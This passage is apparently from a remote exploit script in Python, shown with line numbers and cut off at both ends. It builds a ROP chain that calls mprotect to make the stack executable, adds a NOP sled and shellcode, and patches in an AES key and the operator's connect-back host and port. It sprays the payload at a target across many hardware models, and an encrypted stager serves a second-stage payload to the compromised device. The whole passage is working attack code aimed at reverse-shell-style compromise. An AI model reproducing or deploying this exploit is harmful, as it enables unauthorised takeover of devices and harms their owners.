rop.add_gadget("ret;", 32) 213 | 214 | rop.add_gadget("pop rsi; ret;") 215 | rop.add_immediate(MEM_LEN) 216 | 217 | rop.add_gadget("pop rdx; ret;") 218 | rop.add_immediate(PROT_RWX) 219 | 220 | rop.add_gadget("pop rax; ret;") 221 | rop.add_gadget("mprotect") 222 | 223 | rop.add_gadget("jmp rax;") 224 | 225 | # Stage 7 - NOP/RET sled, then JMP to stack address. 226 | # At this point our ROP payload/stack is executable. Shellcode follows. 227 | rop.add_gadget("ret;", 8) 228 | rop.add_gadget("jmp rsp;") 229 | rop.add_immediate(0x9090909090909090, 8) 230 | 231 | # build and convert the shellcode 232 | #run( [ 'as', '-o', 'shellcode.o', 'shellcode.s' ], check=True ) 233 | result = run("objdump -d -M intel shellcode.o |egrep '^...[a-z0-9]:' |cut -c 7-28|tr -d '\\n'|tr -d ' '|tr -d '\\t'|xxd -r -p", shell=True, capture_output=True) 234 | shellcode = result.stdout 235 | 236 | # patch in the relevant AES key for payload decryption 237 | shellcode = shellcode.replace(b"00000000", self.AES_key[0:8]) 238 | shellcode = shellcode.replace(b"11111111", self.AES_key[8:17]) 239 | 240 | # we need to know the real length of the payload file before padding 241 | shellcode = shellcode.replace(b"22222222", struct.pack(" 7 251 | patch = hw_version + "\x00"*null_len 252 | shellcode = shellcode.replace(b"88888888", patch.encode()) 253 | 254 | # patch in the operator's IP 255 | print("[+] Patching in host/port of %s:%s" % (self.connectBackHost, self.connectBackPort)) 256 | shellcode = shellcode.replace(b"XXXXXX", struct.pack(">H", self.connectBackPort ) + self.ip_as_bytes(self.connectBackHost)) 257 | 258 | # shellcode gets tacked onto the end of the 8-byte NOP sled 259 | rop.add_bytes(shellcode) 260 | 261 | # sprinkle liberally with 4MB of padding 262 | rop.add_padding(PADDING_LEN) 263 | req += rop.bytes() 264 | 265 | if _global_exploit_was_triggered == True: 266 | print("[+] Listener reported a connect-back! ") 267 | return 268 | 269 | _global_expected_hw_versions.append(hw_version) 270 | 271 | # send it! 272 | print("[+] Sending exploit [%d of %d] for model %s on v%s... \r" % (curr_model, num_models, hw_version, self.sw_version), end='') 273 | if self.connect() == None: 274 | print("[!] Error connecting to target. Sleeping for 61 seconds. ") 275 | time.sleep(61) 276 | 277 | self.send_data(req) 278 | time.sleep(.25) 279 | curr_model += 1 280 | self.close() 281 | 282 | 283 | def send_data(self, req, block_size=1048576): 284 | # skootch data down the socket nice n quick 285 | try: 286 | data_len = len(req) 287 | bytes_sent = 0 288 | while bytes_sent < data_len: 289 | num_bytes_to_send = data_len - bytes_sent 290 | 291 | if num_bytes_to_send < block_size: 292 | end = bytes_sent + num_bytes_to_send 293 | else: 294 | end = bytes_sent + block_size 295 | 296 | send_buf = req[bytes_sent:end] 297 | bytes_sent += self.socket.send(send_buf) 298 | except Exception as e: 299 | #print(e) 300 | pass # this fixes a weird bug in the underlying SSL stuff that only pops up on recent Python builds. I don't know the full root cause, but I know this fixes it. 301 | finally: 302 | pass 303 | 304 | def close(self): 305 | if self.socket is not None: 306 | self.socket.close() 307 | self.socket = None 308 | 309 | 310 | # 311 | # Sets up a listener and sends encrypted payloads back to waiting shellcode 312 | # 313 | class EncryptedPayloadStager: 314 | def __init__(self, payload, port, is_validate_only = True): 315 | self.payload = payload 316 | self.encrypted_payload = b"" 317 | self.port = port 318 | self.generate_key() 319 | self.encrypt_payload() 320 | self.is_validate_only = is_validate_only 321 | 322 | def generate_key(self): 323 | self.AES_iv = b"\x00"*16 324 | 325 | with open("/dev/urandom", "rb") as f: 326 | print("[+] Generating random 128-bit AES key to encrypt payload") 327 | self.AES_key = f.read(16) 328 | 329 | def get_AES_key(self): 330 | return self.AES_key 331 | 332 | def encrypt_payload(self): 333 | print("[+] Encrypting payload...") 334 | 335 | # pad it to AES block size 336 | delta = 16 - (len(self.payload) % 16) 337 | padded_payload = self.payload + b"\x00"*delta 338 | 339 | # encrypt it with 128-bit AES in CBC mode 340 | cipher = AES.new(self.AES_key, AES.MODE_CBC, self.AES_iv) 341 | self.encrypted_payload = cipher.encrypt(padded_payload) 342 | tmp_payload = struct.pack("